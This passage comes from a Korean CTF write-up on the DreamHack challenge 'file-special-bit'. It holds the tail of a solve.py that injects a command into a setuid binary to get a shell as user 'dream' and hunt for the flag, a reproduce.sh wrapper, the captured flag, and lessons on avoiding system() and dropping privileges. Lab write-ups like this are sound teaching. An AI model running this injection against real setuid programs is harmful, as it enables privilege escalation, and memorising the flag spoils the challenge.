    # 2) ๋ช…๋ น ์ฃผ์ž… โ€” cat ์€ ์‹คํŒจ์‹œํ‚ค๊ณ  ๋’ค์˜ sh ๋ฅผ dream ๊ถŒํ•œ์œผ๋กœ ๋„์šด๋‹ค
    print(f"[*] ์‹คํ–‰: {binpath} '{PAYLOAD}'")
    c.sendline(f"{binpath} '{PAYLOAD}'")
    c.expect("Your ruid :")
    c.sendline(ruid)
    c.expect("Your euid :")
    c.sendline(euid)
    c.expect(r"Your ruid : \d+ Your euid : \d+")
    print(f"[+] ๊ฒ€์‚ฌ ํ†ต๊ณผ โ†’ {c.after.strip()}")
 
    # 3) ๋œฌ ์…ธ์ด ์ •๋ง dream ์ธ์ง€ ํ™•์ธ
    who = run(c, "id")
    print(f"[+] ์ฃผ์ž…๋œ ์…ธ : {who.splitlines()[-1] if who else '?'}")
 
    # 4) flag ์ฝ๊ธฐ โ€” ํ™ˆ์— ์žˆ๋Š” flag ๋ฅผ ๋จผ์ € ๋ณด๊ณ , ์—†์œผ๋ฉด ์ฐพ์•„ ๋‚˜์„ ๋‹ค
    out = run(c, "cat flag 2>/dev/null || cat /home/dream/flag 2>/dev/null || "
                 "find / -name 'flag*' -type f 2>/dev/null | head -5", timeout=60)
    m = FLAG_RE.search(out)
    if not m:
        # ๊ฒฝ๋กœ๋งŒ ๋‚˜์™”์œผ๋ฉด ๊ทธ ๊ฒฝ๋กœ๋ฅผ ์ฝ๋Š”๋‹ค
        for path in out.split("\n"):
            path = path.strip()
            if not path.startswith("/"):
                continue
            body = run(c, f"cat {path}")
            m = FLAG_RE.search(body)
            if m:
                break
    c.sendline("exit")
    c.close(force=True)
 
    if not m:
        print("[-] flag ๋ฅผ ๋ชป ์ฐพ์•˜๋‹ค. ๋งˆ์ง€๋ง‰ ์ถœ๋ ฅ:\n" + out)
        sys.exit(1)
    print(f"\nFLAG: {m.group(0)}")
 
 
if __name__ == "__main__":
    main()

solve.py ์‹คํ–‰ โ€” setuid ํŒŒ์ผ์„ ์ฐพ์•„ ์†Œ์œ ์ž uid ๋ฅผ ์ฝ์–ด ๋„ฃ๊ณ , ์ฃผ์ž…๋œ ์…ธ์ด uid 2123 dream ์œผ๋กœ ๋–  flag ๋ฅผ ์–ป๋Š”๋‹ค
solve.py ์‹คํ–‰ โ€” setuid ํŒŒ์ผ์„ ์ฐพ์•„ ์†Œ์œ ์ž uid ๋ฅผ ์ฝ์–ด ๋„ฃ๊ณ , ์ฃผ์ž…๋œ ์…ธ์ด uid 2123 dream ์œผ๋กœ ๋–  flag ๋ฅผ ์–ป๋Š”๋‹ค

find ๋กœ setuid ๋น„ํŠธ๊ฐ€ ๋ถ™์€ ํŒŒ์ผ์„ ๋จผ์ € ์ฐพ๊ณ , stat -c %u ๋กœ ์†Œ์œ ์ž uid ๋ฅผ ์ฝ์–ด ๊ทธ๋Œ€๋กœ ์ž…๋ ฅํ•œ๋‹ค. ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•œ ๋’ค ์ฃผ์ž…๋œ ์…ธ์—์„œ id ๋ฅผ ์ฐ์–ด ๋ณด๋ฉด uid=2123(dream) ์ด๋‹ค. ๊ทธ ์ƒํƒœ๋กœ cat flag ๋ฅผ ํ•˜๋ฉด ๋์ด๋‹ค.

FLAG: DH{22bb569daa84da7bda39cd78607ab31a88958725a52b78d87542425782d9a861}

์žฌํ˜„ ์Šคํฌ๋ฆฝํŠธ

๋‚˜์ค‘์— ๋ฐฑ์—…๋งŒ ๋“ค๊ณ  ์™€๋„ ๋ฐ”๋กœ ๋Œ๋ ค๋ณผ ์ˆ˜ ์žˆ๊ฒŒ ํ•œ ๋ฐฉ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋‚จ๊ฒผ๋‹ค. ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋Š” ๋งค๋ฒˆ ์ƒˆ๋กœ ๋„์›Œ์•ผ ํ•˜๊ณ  host/port ๊ฐ€ ๋ฐ”๋€Œ๋ฏ€๋กœ ์ธ์ž๋กœ ๋ฐ›๋Š”๋‹ค.

#!/usr/bin/env bash
# file-special-bit (DreamHack, Silver 4) โ€” ํ•œ ๋ฐฉ ์žฌํ˜„
#
#   ./reproduce.sh <host> <port>   ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋ถ™์–ด ์ง„์งœ flag ๋ฅผ ๋”ฐ๊ณ  ๋Œ€์กฐํ•œ๋‹ค
#   ./reproduce.sh --local         ๋กœ์ปฌ docker ์žฌํ˜„์œผ๋กœ ๊ธฐ๋ฒ•์ด ๋„๋Š”์ง€๋งŒ ํ™•์ธํ•œ๋‹ค
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT='DH{22bb569daa84da7bda39cd78607ab31a88958725a52b78d87542425782d9a861}'
 
usage() { sed -n '2,9p' "$0"; exit 2; }
[ $# -ge 1 ] || usage
 
if [ "$1" = "--local" ]; then
    echo "[*] ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ ๋นŒ๋“œ"
    ( cd local_repro && cp -f ../extracted/chall . && docker build -q -t fsb-repro . >/dev/null )
    OUT=$(timeout 300 python3 solve.py --docker 2>&1) || true
    echo "$OUT" | tail -8
    # ๋กœ์ปฌ flag ๋Š” ์žฌํ˜„์šฉ ๋”๋ฏธ๋‹ค. ์ด๊ฑธ ์ •๋‹ต์ฒ˜๋Ÿผ ํ†ต๊ณผ์‹œํ‚ค์ง€ ์•Š๋Š”๋‹ค.
    if printf '%s' "$OUT" | grep -q 'DH{LOCAL_REPRO_DUMMY_not_the_real_flag}'; then
        echo; echo "โœ… ๊ธฐ๋ฒ• ํ™•์ธ (๋กœ์ปฌ ์žฌํ˜„ ๋”๋ฏธ flag). ์ง„์งœ flag ๋Š” ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ๋งŒ ๋‚˜์˜จ๋‹ค."
        exit 0
    fi
    echo; echo "โŒ FAIL โ€” ๋กœ์ปฌ ์žฌํ˜„์—์„œ ๋”๋ฏธ flag ๋ฅผ ๋ชป ๋ฝ‘์•˜๋‹ค"; exit 1
fi
 
[ $# -eq 2 ] || usage
OUT=$(timeout 300 python3 solve.py --host "$1" --port "$2" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ "$FLAG" = "$EXPECT" ]; then
    echo; echo "โœ… PASS  $FLAG"; exit 0
fi
echo; echo "โŒ FAIL (์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}' / ๊ธฐ๋Œ€: '$EXPECT')"; exit 1

reproduce.sh ์‹คํ–‰ โ€” ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ flag ๋ฅผ ๋‹ค์‹œ ๋ฝ‘์•„ ๊ธฐ๋Œ€๊ฐ’๊ณผ ๋Œ€์กฐํ•˜๊ณ  ์ผ์น˜ํ•  ๋•Œ๋งŒ ํ†ต๊ณผ๋กœ ํ‘œ์‹œํ•œ๋‹ค
reproduce.sh ์‹คํ–‰ โ€” ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ flag ๋ฅผ ๋‹ค์‹œ ๋ฝ‘์•„ ๊ธฐ๋Œ€๊ฐ’๊ณผ ๋Œ€์กฐํ•˜๊ณ  ์ผ์น˜ํ•  ๋•Œ๋งŒ ํ†ต๊ณผ๋กœ ํ‘œ์‹œํ•œ๋‹ค

๋กœ์ปฌ ๋ชจ๋“œ๋Š” ๋”๋ฏธ flag ๋กœ ๋„๋‹ˆ๊นŒ PASS ๋ผ๊ณ  ์“ฐ์ง€ ์•Š๊ณ  "๊ธฐ๋ฒ• ํ™•์ธ"์œผ๋กœ๋งŒ ํ‘œ์‹œํ•œ๋‹ค. ์žฌํ˜„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๊ฐ€์งœ ๊ฐ’์„ ํ†ต๊ณผ์‹œํ‚ค๊ธฐ ์‹œ์ž‘ํ•˜๋ฉด ๋ฐฑ์—… ์ „์ฒด๋ฅผ ๋ชป ๋ฏฟ๊ฒŒ ๋œ๋‹ค.



๐Ÿ“ ๊ฒฐ๋ก 

setuid ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ system() ์„ ๋ถ€๋ฅด์ง€ ์•Š๋Š”๋‹ค

system() ์€ /bin/sh -c ๋ฅผ ๊ฑฐ์น˜๋ฏ€๋กœ ์ž…๋ ฅ์— ์„ธ๋ฏธ์ฝœ๋ก ยท๋ฐฑํ‹ฑยท$() ๊ฐ€ ํ•˜๋‚˜๋งŒ ์„ž์—ฌ๋„ ์ž„์˜ ๋ช…๋ น์ด ๋œ๋‹ค. ์ธ์ž๋ฅผ ์•„๋ฌด๋ฆฌ ๊ฒ€์ฆํ•ด๋„ ์…ธ ๋ฌธ๋ฒ• ์ „์ฒด๋ฅผ ๋ฐฉ์–ดํ•˜๋Š” ๊ฑด ์–ด๋ ต๋‹ค.

๊ผญ ์™ธ๋ถ€ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•ด์•ผ ํ•œ๋‹ค๋ฉด execve ๊ณ„์—ด๋กœ ์ธ์ž ๋ฐฐ์—ด์„ ์ง์ ‘ ๋„˜๊ธด๋‹ค. ์…ธ์ด ๋ผ์ง€ ์•Š์œผ๋ฉด ๋ฉ”ํƒ€๋ฌธ์ž๋Š” ๊ทธ๋ƒฅ ํŒŒ์ผ ์ด๋ฆ„์˜ ์ผ๋ถ€์ผ ๋ฟ์ด๋‹ค.

setreuid(geteuid(), geteuid()) ๋Š” ๋ฌดํ•ดํ•ด ๋ณด์ด์ง€๋งŒ ์•ˆ์ „์žฅ์น˜๋ฅผ ์ง€์šด๋‹ค

์ด ํ•œ ์ค„์€ "uid ๋ฅผ ๊น”๋”ํ•˜๊ฒŒ ์ •๋ฆฌํ•œ๋‹ค"๋Š” ์ธ์ƒ์„ ์ฃผ์ง€๋งŒ, ์‹ค์ œ ํšจ๊ณผ๋Š” sh ๊ฐ€ ๊ถŒํ•œ์„ ๋˜๋Œ๋ฆด ๊ทผ๊ฑฐ๋ฅผ ์—†์• ๋Š” ๊ฒƒ์ด๋‹ค. dash ์˜ -p ์˜ต์…˜ ์„ค๋ช…์ด ๋งํ•˜๋Š” ๊ทธ ์˜ค์šฉ ์‚ฌ๋ก€๊ฐ€ ์ •ํ™•ํžˆ ์ด ํ˜•ํƒœ๋‹ค.

๊ถŒํ•œ์ด ํ•„์š”ํ•œ ๊ตฌ๊ฐ„์ด ๋๋‚ฌ์œผ๋ฉด ์˜คํžˆ๋ ค ๋ฐ˜๋Œ€๋กœ, setresuid ๋กœ saved uid ๊นŒ์ง€ ์›๋ž˜ ์‚ฌ์šฉ์ž๋กœ ๋–จ์–ด๋œจ๋ ค ๋˜๋Œ์•„์˜ฌ ๊ธธ์„ ๋ง‰๋Š” ๊ฒŒ ๋งž๋‹ค.

๋ฒ„ํผ ํฌ๊ธฐ ์ƒ์ˆ˜๋Š” ์ฝ”๋“œ๊ฐ€ ์•„๋‹ˆ๋ผ ๋ช…๋ น์œผ๋กœ ํ™•์ธํ•œ๋‹ค

์†Œ์Šค์— 10 ๊ณผ 19 ๊ฐ€ ์ ํ˜€ ์žˆ์–ด๋„ ์ปดํŒŒ์ผ ๊ฒฐ๊ณผ๊ฐ€ ์–ด๋–ป๊ฒŒ ๋๋Š”์ง€๋Š” ๋ณ„๊ฐœ๋‹ค. ์ด๋ฒˆ์—” memcpy ๊ฐ€ ์ธ๋ผ์ธ๋˜๋ฉด์„œ 8+2 ๋กœ ์ชผ๊ฐœ์กŒ๊ณ , filename ์— NUL ์ด ์•ˆ ๋“ค์–ด๊ฐ€ ๋’ค ์Šคํƒ ๋ฐ”์ดํŠธ์— ๊ฒฐ๊ณผ๊ฐ€ ์˜์กดํ•˜๊ฒŒ ๋๋‹ค. objdump ๋กœ ์ƒ์ˆ˜๋ฅผ ํ™•์ธํ•˜๊ณ  gdb ๋กœ ์‹คํ–‰ ์ค‘ ๋ฒ„ํผ๋ฅผ ๋–  ๋ณด๋ฉด ์ถ”์ธกํ•  ์ผ์ด ์—†๋‹ค.

์ตœ์†Œ ๊ถŒํ•œ์€ ํŒŒ์ผ ๋ฐฐ์น˜์—์„œ ์‹œ์ž‘ํ•œ๋‹ค

flag ๋ฅผ ์ฝ๋Š” ์ฃผ์ฒด๊ฐ€ dream ๋ฟ์ด๋ผ๋ฉด ๊ตณ์ด chall ์˜ ํ™ˆ์— ๋‘˜ ์ด์œ ๊ฐ€ ์—†๋‹ค. ํŒŒ์ผ์ด /home/chall ์— ์žˆ์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ์งง์€ ์ƒ๋Œ€ ๊ฒฝ๋กœ ํ•˜๋‚˜๋กœ๋„ ์—ด๋ ธ๊ณ , 10๋ฐ”์ดํŠธ ์ œํ•œ์ด ์‚ฌ์‹ค์ƒ ๋ฌด๋ ฅํ•ด์กŒ๋‹ค. ๊ถŒํ•œ ๋น„ํŠธ๋งŒ ์ฑ™๊ธฐ๊ณ  ์œ„์น˜๋ฅผ ์•ˆ ์ฑ™๊ธฐ๋ฉด ๊ณต๊ฒฉ ํ‘œ๋ฉด์ด ๋„“์–ด์ง„๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 2] ์…ธ์ด ๊ถŒํ•œ์„ ๋–จ๊ตฌ๊ธฐ ์ „์— ๊ทธ ์กฐ๊ฑด์„ ์ง€์›Œ ๋ฒ„๋ฆฐ๋‹ค โ€” DreamHack Path Finder ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] ์…ธ์ด ๊ถŒํ•œ์„ ๋–จ๊ตฌ๊ธฐ ์ „์— ๊ทธ ์กฐ๊ฑด์„ ์ง€์›Œ ๋ฒ„๋ฆฐ๋‹ค โ€” DreamHack Path Finder ํ’€์ด

setgid ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ system("clear") ๋ฅผ ๋ถ€๋ฅธ๋‹ค. ์ ˆ๋Œ€๊ฒฝ๋กœ๊ฐ€ ์•„๋‹ˆ๋‹ˆ PATH ๋ฅผ ์•ž์—์„œ๋ถ€ํ„ฐ ํ›‘๊ณ , ๋‚ด๊ฐ€ ์‹ฌ์–ด ๋‘” clear ๊ฐ€ ๋ฌธ์ œ ๊ทธ๋ฃน ๊ถŒํ•œ์œผ๋กœ ๋ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ setgid ๋น„ํŠธ๋งŒ์œผ๋กœ๋Š” ์ด๊ฒŒ ํ†ตํ•˜์ง€ ์•Š๋Š”๋‹ค. dash ๊ฐ€ ์‹œ์ž‘ํ•˜๋ฉด์„œ ๋นŒ๋ ค์˜จ ๊ถŒํ•œ์„ ์Šค์Šค๋กœ ๋‚ด๋ ค๋†“๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๊ทธ ๋ฐฉ์–ด๋ฅผ ๋ฌด๋ ฅํ™”ํ•˜๋Š” ๊ฒŒ ๋ฐ”๋กœ ์•ž์ค„์˜ setresgid ํ•œ ์ค„์ด์—ˆ๋‹ค.
#dreamhack#ctf#misc+8
2026-08-03#dreamhack +6
[๐Ÿฅ‰ Bronze 2] SUID gcc ์™€ ์‚ฌ๋ผ์ง„ ์ƒํ•œ ๊ฒ€์‚ฌ โ€” DreamHack Stupid GCC ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] SUID gcc ์™€ ์‚ฌ๋ผ์ง„ ์ƒํ•œ ๊ฒ€์‚ฌ โ€” DreamHack Stupid GCC ํ’€์ด

ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ์— ์“ธ ๊ถŒํ•œ์ด ์—†๋Š”๋ฐ root ๋Š” ๊ทธ ์•ˆ์˜ a.out ์„ 10์ดˆ๋งˆ๋‹ค ์‹คํ–‰ํ•œ๋‹ค. SUID ๊ฐ€ ๋ถ™์€ gcc ๊ฐ€ ๋Œ€์‹  ํŒŒ์ผ์„ ์จ ์ฃผ๊ณ , ๋ฐฐ์—ด ์ฒจ์ž๊ฐ€ ๋งŒ๋“  ๋ฏธ์ •์˜ ๋™์ž‘ ๋•Œ๋ฌธ์— gcc -O2 ๊ฐ€ ๋ฃจํ”„์˜ ์ƒํ•œ ๊ฒ€์‚ฌ๋ฅผ ํ†ต์งธ๋กœ ์ง€์šด๋‹ค. ๋‘ ๊ด€๋ฌธ์„ ์ด์–ด ๋ถ™์—ฌ /flag.txt ๋ฅผ ์ฝ์–ด๋ƒˆ๋‹ค.
#dreamhack#ctf#pwnable+6
2026-08-12#dreamhack +4
[๐Ÿฅ‰ Bronze 3] ์ถœ๋ ฅ์ด /dev/null๋กœ ์‚ฌ๋ผ์ง„๋‹ค๋ฉด โ€” DreamHack whatsdifferent ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ์ถœ๋ ฅ์ด /dev/null๋กœ ์‚ฌ๋ผ์ง„๋‹ค๋ฉด โ€” DreamHack whatsdifferent ํ’€์ด

๋ช…๋ น ๊ฒฐ๊ณผ๊ฐ€ `> /dev/null`๋กœ ๋ฒ„๋ ค์ง€๊ณ  ํ”„๋กœ๊ทธ๋žจ์€ ๋’ค์ด์–ด `cat ./out`๋งŒ ์‹คํ–‰ํ•œ๋‹ค. 20์ž ์ œํ•œ๊ณผ 16์ž ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋ฅผ ํ†ต๊ณผํ•˜๋Š” `diff ff fs>out` ํ•œ ์ค„๋กœ ์•ˆ์ชฝ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฅผ ๊ฑธ์–ด ์ถœ๋ ฅ์„ ๊ฐ€๋กœ์ฑ„๊ณ , ๋‘ ํŒŒ์ผ ์‚ฌ์ด์—์„œ ๋”ฑ ํ•œ ๊ธ€์ž ๋ฐ”๋€ ์ค„์„ ํšŒ์ˆ˜ํ•œ๋‹ค.
#dreamhack#ctf#misc+5
2026-07-31#dreamhack +4